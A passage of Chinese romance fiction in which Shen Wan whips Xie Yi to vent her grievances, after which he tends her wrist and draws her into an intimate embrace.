沈绾挥动着手臂,一下一下,也不知自己到底在宣泄什么,只是从这一声声鞭响中莫名感到快意。 她憋屈了太久,唯有此刻,终于找到可以释放的出口。 道道红痕层层交错,宛若盛开的红莲,在男人身上留下烙印。 谢翊喉结滚动,咽下闷哼,可嘴角的笑意却越绽越大,仿佛每一鞭落下的不是疼痛,而是奖赏。 “疼就出声。”沈绾感到手腕有些发酸,方才停了动作。 “阿鸾给的,怎么会疼。”谢翊抬起头,曜黑的眼珠浓得仿佛滴墨。 他牵过沈绾握鞭子的手,长指覆上,细细替她揉捏手腕,好像苦了半天的不是他自己,而是她。 “罢了,”沈绾恍然回神,拂开他的手,垂眼丢下鞭子,“我今儿也乏了,就这样吧。” 见她转身要走,谢翊旋即起身。 下一瞬,只觉天旋地转,等沈绾回过神时,早已被一双紧实有力的大手抱住。 “阿鸾的账可算清楚了?”他稍一低头,唇瓣正巧擦过耳尖,沈绾下意识一颤。